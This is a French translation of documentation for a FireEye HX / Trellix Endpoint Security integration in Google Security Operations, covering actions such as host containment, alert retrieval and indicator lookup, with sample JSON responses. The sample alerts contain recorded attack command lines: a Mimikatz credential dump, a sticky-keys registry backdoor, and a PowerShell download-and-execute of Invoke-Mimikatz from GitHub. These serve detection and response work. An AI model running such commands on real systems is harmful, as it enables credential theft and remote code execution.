Cette page a été traduite par l'API Cloud Translation.

FireEye HX

Version de l'intégration : 17.0

Configurer l'intégration de FireEye HX dans Google Security Operations

Pour obtenir des instructions détaillées sur la configuration d'une intégration dans Google SecOps, consultez Configurer des intégrations.

Paramètres d'intégration

Utilisez les paramètres suivants pour configurer l'intégration :

Nom à afficher du paramètre	Type	Valeur par défaut	Obligatoire	Description
Nom de l'instance	Chaîne	N/A	Non	Nom de l'instance pour laquelle vous souhaitez configurer l'intégration.
Description	Chaîne	N/A	Non	Description de l'instance.
Serveur	Chaîne	https://x.x.x.x:<port>	Oui	Adresse de l'instance Trellix Endpoint Security.
Nom d'utilisateur	Chaîne	N/A	Oui	Adresse e-mail de l'utilisateur à utiliser pour se connecter à Trellix Endpoint Security.
Mot de passe	Mot de passe	N/A	Oui	Mot de passe de l'utilisateur correspondant.
Vérifier le protocole SSL	Case à cocher	Cochée	Non	Cochez cette case si votre connexion Trellix Endpoint Security nécessite une vérification SSL (cochée par défaut).
Exécuter à distance	Case à cocher	Décochée	Non	Cochez le champ pour exécuter l'intégration configurée à distance. Une fois la case cochée, l'option permettant de sélectionner l'utilisateur distant (agent) s'affiche.

Actions

Annuler la mise en quarantaine de l'hôte

Description

Créez un hôte d'annulation contenant une tâche sur le serveur Trellix Endpoint Security en fonction de l'adresse IP Google SecOps ou des entités Google SecOps hôtes.

Exécuter sur

Cette action s'applique aux entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

N/A

Hôte de conteneur

Description

Créez une tâche d'hôte de conteneur sur le serveur Trellix Endpoint Security en fonction de l'adresse IP Google SecOps ou des entités Google SecOps hôtes.

Paramètres

Paramètre	Type	Valeur par défaut	Obligatoire	Description
Approuver le confinement	Case à cocher	Décochée	Non	Indiquez si une demande de confinement pour l'hôte doit être automatiquement approuvée afin de créer une tâche de confinement de l'hôte sur le serveur Trellix Endpoint Security. Si elle n'est pas approuvée automatiquement, une demande de confinement peut être approuvée dans la console Web Trellix Endpoint Security.

Exécuter sur

Cette action s'applique aux entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

N/A

Recevoir des alertes

Description

Recevez des alertes Trellix Endpoint Security en fonction de l'entité Google SecOps et des conditions de recherche fournies. L'action fonctionne sur les entités Google SecOps hôtes ou IP.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Obligatoire	Description
Limite	Integer	N/A	Non	Nombre d'alertes que l'action doit renvoyer (par exemple, 100).
Mode Partagé	Liste déroulante (par défaut : "any")	_default = any_	Non	Filtrer les alertes déclenchées par des indicateurs avec un mode de partage spécifique. _Valeurs disponibles : "any", "restricted" et "unrestricted"._
État de résolution de l'alerte	Liste déroulante (par défaut : "any")	_default = any_	Non	Filtrez les alertes en fonction de leur état de résolution. Valeurs disponibles : _any, active_threat, alert, block, partial_block._
Alerte signalée au cours des dernières x heures	Integer	N/A	Non	Filtrer les alertes signalées au cours des dernières heures (par exemple, les quatre dernières heures).
Source de l'alerte	Liste déroulante (par défaut : "any")	_default = any_	Non	Source de l'alerte. Valeurs disponibles : "any" (tout), "exd" (détection d'exploit), "mal" (alerte de logiciel malveillant), "ioc" (indicateur de compromission).
ID de la condition	Chaîne	N/A	Non	Filtrez les alertes par identifiant de condition spécifique.
ID d'alerte	Chaîne	N/A	Non	Renvoyer une alerte spécifique par son identifiant

Exécuter sur

Cette action s'applique aux entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

[
    {
        "EntityResult": [{
            "indicator": {
                "category": "Mandiant",
                "display_name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "url": "/hx/api/v3/indicators/mandiant/b7eae353_be50_44cf_8773_7067e9c66d7b",
                "signature": null,
                "_id": "b7eae353-be50-44cf-8773-7067e9c66d7b",
                "uri_name": "b7eae353-be50-44cf-8773-7067e9c66d7b"
            },
            "event_id": 12880,
            "event_values": {
                "processEvent/processCmdLine": "at  13:00 \\\"C:\\\\TMP\\\\mim.exe sekurlsa::LogonPasswords > C:\\\\TMP\\\\o.txt\\\"",
                "processEvent/parentPid": 4832,
                "processEvent/md5": "e2a9c62b47f64525f7eb0cb8d637ff90",
                "processEvent/processPath": "C:\\\\Windows\\\\System32\\\\at.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/timestamp": "2020-05-29T10:21:03.419Z",
                "processEvent/startTime": "2020-05-29T10:21:03.419Z",
                "processEvent/process": "at.exe",
                "processEvent/username": "DOMAIN-COM\\\\Administrator",
                "processEvent/pid": 7332,
                "processEvent/parentProcessPath": "C:\\\\Windows\\\\System32\\\\cmd.exe",
                "processEvent/eventType": "start"
            },
            "event_type": "processEvent",
            "subtype": null,
            "reported_at": "2020-05-29T10:24:05.410Z",
            "decorators": [],
            "md5values": ["e2a9c62b47f64525f7eb0cb8d637ff90"],
            "appliance": {
                "_id": "86B7F11ACF8D"
            },
            "agent": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id": "FqNP4ybCdrlfVqG3lrCvRP",
                "containment_state": "normal"
            },
            "is_false_positive": false,
            "event_at": "2020-05-29T10:21:03.419Z",
            "source": "IOC",
            "matched_at": "2020-05-29T10:23:22.000Z",
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/88",
            "_id": 88,
            "resolution": "ALERT",
            "condition": {
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA==",
                "_id": "yirelRwhiuXlF0bQhTL4GA=="
            },
            "matched_source_alerts": []
        }],
        "Entity": "PC-01"
    }
]

Obtenir les détails d'un groupe d'alertes

Description

Obtenez tous les détails d'un groupe d'alertes à partir de son ID.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Obligatoire	Description
ID des groupes d'alertes	Chaîne	N/A	Oui	Spécifiez une liste d'ID de groupes d'alertes séparés par une virgule pour lesquels vous souhaitez récupérer des informations.

Exécuter sur

Cette action ne s'exécute pas sur les entités. Elle comporte un paramètre d'entrée obligatoire.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

{
    "details": [],
    "route": "/hx/api/v3/alert_groups/id",
    "data": {
        "_id": "622d3688031aa40faa4bd86028841276",
        "assessment": "[Process reg.exe started] MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
        "file_full_path": "C:\\Windows\\System32\\reg.exe",
        "first_event_at": "2020-08-06T06:32:55.761Z",
        "last_event_at": "2020-08-06T06:32:55.761Z",
        "dispositions": [],
        "source": "IOC",
        "has_fp_disposition": false,
        "last_alert": {
            "_id": 729,
            "agent": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "containment_state": "normal"
            },
            "condition": {
                "_id": "yirelRwhiuXlF0bQhTL4GA==",
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA=="
            },
            "event_at": "2020-08-06T06:32:55.761+00:00",
            "matched_at": "2020-08-06T06:37:55+00:00",
            "reported_at": "2020-12-18T14:03:18.856+00:00",
            "source": "IOC",
            "resolution": "ALERT",
            "decorators": [],
            "md5values": [
                "05cf3ce225b05b669e3118092f4c8eab"
            ],
            "decorator_sources": [],
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/729",
            "event_id": 207,
            "event_type": "processEvent",
            "event_values": {
                "processEvent/timestamp": "2020-08-06T06:32:55.761Z",
                "processEvent/eventType": "start",
                "processEvent/pid": 10356,
                "processEvent/processPath": "C:\\Windows\\System32\\reg.exe",
                "processEvent/process": "reg.exe",
                "processEvent/parentPid": 9456,
                "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/username": "FIREEYE-LAB\\Administrator",
                "processEvent/startTime": "2020-08-06T06:32:55.761Z",
                "processEvent/md5": "05cf3ce225b05b669e3118092f4c8eab",
                "processEvent/processCmdLine": "REG  ADD HKCU\\Environment /f /v UserInitMprLogonScript /t REG_MULTI_SZ /d \"C:\\TMP\\mim.exe sekurlsa::LogonPasswords > C:\\TMP\\o.txt\""
            },
            "is_false_positive": false
        },
        "generic_alert_badge": null,
        "generic_alert_label": null,
        "stats": {
            "events": 1
        },
        "url": "/hx/api/v3/alert_groups/622d3688031aa40faa4bd86028841276",
        "created_at": "2020-12-18T14:03:24.535Z",
        "acknowledgement": {
            "acknowledged": false,
            "acknowledged_by": null,
            "acknowledged_time": null,
            "comment": null,
            "comment_update_time": null
        },
        "grouped_by": {
            "condition_id": "yirelRwhiuXlF0bQhTL4GA==",
            "detected_by": "ioc_engine",
            "host": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "primary_ip_address": "172.30.202.55"
            }
        }
    },
    "message": "OK"
}

Mur des cas

Type de résultat

Valeur/Description

Type

Message de sortie*

Succès pour 1 (is_success=true) : Les détails des groupes d'alertes suivants ont été récupérés dans Trellix Endpoint Security : {alert group ids}

Échec pour 1 (is_success=true) : l'action n'a pas pu récupérer les détails des groupes d'alertes suivants dans Trellix Endpoint Security : {alert group ids}

Échec pour tous (is_success=false) : aucun des groupes d'alertes fournis n'a été trouvé dans Trellix Endpoint Security.

Général

Mur des cas

Nom : Détails du groupe d'alertes

Colonne :

Évaluation
ID du groupe d'alertes
Premier événement
Dernier événement
Confirmé
ID de la dernière alerte HX

Général

Recevoir des alertes dans un groupe d'alertes

Description

Obtenir toutes les alertes trouvées dans le groupe d'alertes spécifié

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Obligatoire	Description
ID du groupe d'alertes	Chaîne	N/A	Oui	Spécifiez une liste d'ID de groupes d'alertes séparés par une virgule pour lesquels vous souhaitez récupérer des informations.
Limite	Integer	50	Non	Spécifiez le nombre maximal de listes d'alertes renvoyées par l'API pour le groupe d'alertes. La valeur par défaut est 50.

Exécuter sur

Cette action ne s'exécute pas sur les entités. Elle comporte un paramètre d'entrée obligatoire.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": 712,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T08:04:09.521Z",
                "matched_at": "2020-12-10T08:04:43.000Z",
                "reported_at": "2020-12-10T08:04:49.607Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/712",
                "event_id": 853899,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T08:04:09.521Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8800,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            },
            {
                "_id": 723,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T09:26:14.114Z",
                "matched_at": "2020-12-10T09:26:56.000Z",
                "reported_at": "2020-12-10T09:27:08.735Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/723",
                "event_id": 880771,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8740,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups/group_id/alerts"
}

Mur des cas

Type de résultat	Valeur/Description	Type
Message de sortie*	Succès pour 1 (is_success=true) : les détails des groupes d'alertes suivants ont été récupérés dans Trellix Endpoint Security : {alert group ids} Échec pour 1 (is_success=true) : l'action n'a pas pu récupérer les détails des groupes d'alertes suivants dans Trellix Endpoint Security : {alert group ids} Échec pour tous (is_success=false) : aucun des groupes d'alertes fournis n'a été trouvé dans Trellix Endpoint Security.	Général
Mur des cas	Nom : "Alertes du groupe d'alertes Trellix Endpoint Security +{alert_group_id)" Colonne : ID de l'alerte Trellix Endpoint Security Nom de l'indicateur Heure de l'événement Heure de la correspondance Date et heure du signalement Source Type d'événement	Général

Type de résultat

Valeur/Description

Type

Message de sortie*

Succès pour 1 (is_success=true) : les détails des groupes d'alertes suivants ont été récupérés dans Trellix Endpoint Security : {alert group ids}

Échec pour 1 (is_success=true) : l'action n'a pas pu récupérer les détails des groupes d'alertes suivants dans Trellix Endpoint Security : {alert group ids}

Échec pour tous (is_success=false) : aucun des groupes d'alertes fournis n'a été trouvé dans Trellix Endpoint Security.

Général

Mur des cas

Nom : "Alertes du groupe d'alertes Trellix Endpoint Security +{alert_group_id)"

Colonne :

ID de l'alerte Trellix Endpoint Security
Nom de l'indicateur
Heure de l'événement
Heure de la correspondance
Date et heure du signalement
Source
Type d'événement

Général

Obtenir des informations sur l'hôte

Description

Enrichissez les entités hôtes ou IP Google SecOps en fonction des informations de Trellix Endpoint Security.

Exécuter sur

Cette action s'applique aux entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

[
    {
        "EntityResult": {
            "last_alert": {
                "url": "/hx/api/v3/alerts/254",
                "_id": 254
            },
            "domain": "EXAMPLE-COM",
            "last_exploit_block_timestamp": null,
            "containment_state": "normal",
            "timezone": "\\u05e9\\u05e2\\u05d5\\u05df \\u05e7\\u05d9\\u05e5 \\u05d9\\u05e8\\u05d5\\u05e9\\u05dc\\u05d9\\u05dd",
            "gmt_offset_seconds": 10800,
            "initial_agent_checkin": "2020-05-29T10:11:12.022Z",
            "stats": {
                "alerting_conditions": 10,
                "exploit_alerts": 0,
                "acqs": 4,
                "malware_false_positive_alerts": 0,
                "alerts": 10,
                "exploit_blocks": 0,
                "false_positive_alerts": 0,
                "malware_cleaned_count": 0,
                "malware_alerts": 0,
                "false_positive_alerts_by_source": {},
                "generic_alerts": 0,
                "malware_quarantined_count": 0
            },
            "primary_mac": "00-50-56-11-22-33",
            "hostname": "HW-HOST-025",
            "primary_ip_address": "1.1.1.1",
            "last_audit_timestamp": "2020-06-01T09:10:38.752Z",
            "last_alert_timestamp": "2020-06-01T08:02:30.817+00:00",
            "containment_queued": false,
            "sysinfo": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP/sysinfo"
            },
            "last_exploit_block": null,
            "reported_clone": false,
            "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
            "excluded_from_containment": false,
            "last_poll_timestamp": "2020-06-01T09:10:36.000Z",
            "last_poll_ip": "1.1.1.1",
            "containment_missing_software": false,
            "_id": "FqNP4ybCdrlfVqG3lrCvRP",
            "os": {
                "kernel_version": null,
                "platform": "win",
                "patch_level": null,
                "bitness": "64-bit",
                "product_name": "Windows 10 Pro"
            },
            "agent_version": "32.30.0"
        },
        "Entity": "PC-01"
    }
]

Obtenir l'indicateur

Description

Obtenez des informations sur un indicateur spécifique à partir du serveur Trellix Endpoint Security.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Obligatoire	Description
Catégorie d'indicateur	Chaîne	N/A	Oui	Spécifiez la valeur uri_name de la catégorie d'indicateur. Vous pouvez trouver uri_name en exécutant l'action "Get Indicators" (Obtenir les indicateurs).
Nom de l'indicateur	Chaîne	N/A	Oui	Spécifiez la valeur uri_name de l'indicateur. Vous pouvez trouver uri_name en exécutant l'action "Get Indicators" (Obtenir les indicateurs).

Exécuter sur

Cette action s'exécute sur toutes les entités.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

{
    "category": {
        "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
        "_id": 7,
        "uri_name": "mandiant_unrestricted",
        "name": "Mandiant Unrestricted Intel",
        "share_mode": "unrestricted"
    },
    "display_name": "FIREEYE END2END TEST",
    "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
    "create_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "active_since": "2020-05-28T13:08:08.513Z",
    "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
    "_revision": "20200528130929238120103414",
    "create_text": "General_Windows_unrestricted_2020.05.270833",
    "created_by": "General_Windows_unrestricted_2020.05.270833",
    "update_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "meta": null,
    "signature": null,
    "platforms": ["win\", \"osx\", \"linux"],
    "stats": {
        "source_alerts": 0,
        "alerted_agents": 1,
        "active_conditions": 7
    },
    "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "name": "FIREEYE END2END TEST"
}

Obtenir des indicateurs

Description

Obtenez des informations sur les indicateurs de compromission (IOC) à partir du serveur Trellix Endpoint Security en fonction des paramètres de recherche fournis.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Obligatoire	Description
Catégorie d'indicateur	Chaîne	N/A	Non	Catégorie de l'indicateur.
Terme de recherche	Chaîne	N/A	Non	Le terme de recherche peut être n'importe quel nom, catégorie, signature, source ou valeur de condition.
Limite	Chaîne	N/A	Non	Nombre d'indicateurs que l'action doit renvoyer (par exemple, 100).
Mode Partage	Liste déroulante (par défaut : "any")	_default = any_	Non	Filtrer les indicateurs en fonction d'un mode de partage spécifique. _Valeurs disponibles : any, restricted, unrestricted._
Trier par champ	Chaîne	N/A	Non	Trie les résultats par ordre croissant en fonction du champ spécifié.
Créé par	Chaîne	N/A	Non	Filtrer les indicateurs en fonction de l'auteur.
Comporte des alertes associées	Case à cocher	N/A	Non	Indiquez si seuls les indicateurs associés à des alertes doivent être renvoyés.

Exécuter sur

Cette action s'exécute sur toutes les entités.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

[
    {
        "category": {
            "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
            "_id": 7,
            "uri_name": "mandiant_unrestricted",
            "name": "Mandiant Unrestricted Intel",
            "share_mode": "unrestricted"
        },
        "display_name": "FIREEYE END2END TEST",
        "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
        "create_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "active_since": "2020-05-28T13:08:08.513Z",
        "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
        "_revision": "20200528130929238120103414",
        "create_text": "General_Windows_unrestricted_2020.05.270833",
        "created_by": "General_Windows_unrestricted_2020.05.270833",
        "update_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "meta": null,
        "signature": null,
        "platforms": ["win", "osx", "linux"],
        "stats": {
            "source_alerts": 0,
            "alerted_agents": 1,
            "active_conditions": 7
        },
        "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "name": "FIREEYE END2END TEST"
    }
]

Obtenir la liste des acquisitions de fichiers pour l'hôte

Description

Obtenez la liste des acquisitions de fichiers demandées pour l'hôte à partir du serveur Trellix Endpoint Security. L'action fonctionne sur les entités Google SecOps hôtes ou IP.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Obligatoire	Description
Terme de recherche	Chaîne	N/A	Non	Recherche toutes les acquisitions de fichiers pour les hôtes connectés au serveur Trellix Endpoint Security. search_term peut être n'importe quelle valeur de condition.
Limite	Chaîne	N/A	Non	Nombre d'enregistrements que l'action doit renvoyer (par exemple, 100).
Champ de filtre	Chaîne	N/A	Non	N'affiche que les résultats avec la valeur de champ spécifiée. Les résultats peuvent être filtrés par identifiant de corrélation externe (external_id).

Exécuter sur

Cette action s'applique aux entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

[
    {
        "EntityResult": [{
            "comment": " ",
            "zip_passphrase": "unzip-me",
            "indicator": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "request_actor": {
                "username": "admin",
                "_id": 1000
            },
            "request_time": "2020-06-01T08:43:14.000Z",
            "finish_time": "2020-06-01T08:46:39.156Z",
            "_revision": "20200601084639156575147403",
            "error_message": "The acquisition completed with issues.",
            "req_use_api": false,
            "alert": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "url": "/hx/api/v3/acqs/files/9",
            "state": "COMPLETE",
            "host": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id":
                "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "req_filename": "reg.exe",
            "req_path": "C:\\\\Windows\\\\System32",
            "_id": 9,
            "external_id": null,
            "condition": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "md5": "601bddf7691c5af626a5719f1d7e35f1"
        }],
        "Entity": "PC-01"
    }
]

Alertes de contenu malveillant

Description

Vérifiez si des alertes de logiciels malveillants sont listées pour les entités hôtes ou IP Google SecOps fournies sur le serveur Trellix Endpoint Security.

Exécuter sur

Cette action s'applique aux entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

[
    {
        "EntityResult": {
            "alerting_conditions": 10,
            "exploit_alerts": 0,
            "acqs": 4,
            "malware_false_positive_alerts": 0,
            "alerts": 10,
            "exploit_blocks": 0,
            "false_positive_alerts": 0,
            "malware_cleaned_count": 0,
            "malware_alerts": 0,
            "false_positive_alerts_by_source": {},
            "generic_alerts": 0,
            "malware_quarantined_count": 0
        },
        "Entity": "PC-01"
    }
]

Ping

Description

Testez la connectivité au serveur Trellix Endpoint Security avec les paramètres fournis sur la page de configuration de l'intégration dans l'onglet Google Security Operations Marketplace.

Exécuter sur

Cette action s'exécute sur toutes les entités.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

N/A

Confirmer les groupes d'alertes

Description

Accusez réception des groupes d'alertes gérés par Google SecOps pour mieux synchroniser la plate-forme HX et Google SecOps.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Obligatoire	Description
ID des groupes d'alertes	Liste séparée par une virgule	N/A	Oui	Spécifiez les ID des groupes d'alertes que vous souhaitez accuser réception dans une liste séparée par des virgules.
Confirmation	LDD	Confirmer	Oui	Indiquez si vous souhaitez confirmer ou annuler la confirmation des groupes d'alertes spécifiés.
Commentaire de confirmation	Chaîne	N/A	Non	Spécifiez le commentaire de confirmation que vous souhaitez ajouter aux groupes d'alertes concernés.
Limite	Integer	N/A	Non	Spécifiez le nombre maximal de listes de groupes d'alertes renvoyées par l'API dans le résultat JSON.

Exécuter sur

Cette action ne s'exécute pas sur les entités. Elle comporte un paramètre d'entrée obligatoire.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": "4532f4d8d50ab50a7830e2823ac488fd",
                "assessment": "[Process powershell.exe started] POWERSHELL DOWNLOADER (METHODOLOGY)",
                "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                "first_event_at": "2020-08-17T12:03:38.496Z",
                "last_event_at": "2020-12-10T08:02:22.561Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 718,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                        "url": "/hx/api/v3/conditions/yQjMv_j5PKfjL8Qu5uSm4A=="
                    },
                    "event_at": "2020-08-17T12:03:38.496+00:00",
                    "matched_at": "2020-12-10T09:26:55+00:00",
                    "reported_at": "2020-12-10T09:27:08.624+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [
                        "cda48fc75952ad12d99e526d0b6bf70a"
                    ],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/718",
                    "event_id": 39882,
                    "event_type": "processEvent",
                    "event_values": {
                        "processEvent/timestamp": "2020-08-17T12:03:38.496Z",
                        "processEvent/eventType": "start",
                        "processEvent/pid": 9896,
                        "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                        "processEvent/process": "powershell.exe",
                        "processEvent/parentPid": 5560,
                        "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                        "processEvent/parentProcess": "cmd.exe",
                        "processEvent/username": "FIREEYE-LAB\\Administrator",
                        "processEvent/startTime": "2020-08-17T12:03:38.496Z",
                        "processEvent/md5": "cda48fc75952ad12d99e526d0b6bf70a",
                        "processEvent/processCmdLine": "powershell.exe  \"iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds\" "
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
